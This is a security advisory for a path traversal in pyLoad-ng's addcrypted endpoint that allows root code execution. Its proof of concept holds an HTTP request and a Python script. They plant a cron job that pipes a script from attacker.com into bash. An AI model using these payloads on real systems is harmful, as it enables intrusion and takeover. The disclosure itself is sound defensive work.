---
id: CVE-2025-54802
aliases:
  - GHSA-48rp-jc79-2264
  - PYSEC-2026-493
title: >-
  pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to
  Remote Code Execution (RCE)
summary: >-
  pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to
  Remote Code Execution (RCE)
severity: critical
cvss: 9.8
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'
vendor: pyload-ng
product: pyload-ng
ecosystem: pip
affected:
  - pyload-ng < 0.5.0b3.dev90
patched:
  - pyload-ng 0.5.0b3.dev90
published: '2025-08-04'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:26.651259719Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-48rp-jc79-2264'
references:
  - url: 'https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-54802'
  - url: 'https://github.com/pyload/pyload/pull/4596'
  - url: >-
      https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4
  - url: 'https://github.com/pyload/pyload'
tags:
  - osv
  - pip
epss: 0.01191
epssPercentile: 0.66626
ingestedAt: '2026-09-12T03:13:01.651Z'
---

## Overview

### Summary
**Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.



### Details
* **Endpoint**: `POST /addcrypted`
* **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py`

#### Vulnerable Code
```python
 dlc_path = os.path.join( 
     dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" 
 ) 
 dlc = flask.request.form["crypted"].replace(" ", "+") 
 with open(dlc_path, mode="wb") as fp: 
```

### PoC
```http
POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==
```

Decoded payload:
```bash
* * * * * root curl -s http://attacker.com/r.sh | bash
```

**Send crafted POST**
```python
import requests, base64

payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={
    "package": "../../../../etc/cron.d/exploit",
    "crypted": b64
})
```


### Impact
The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.

## Affected packages

- `pyload-ng < 0.5.0b3.dev90`

## Remediation

Upgrade to a patched release:

- `pyload-ng 0.5.0b3.dev90`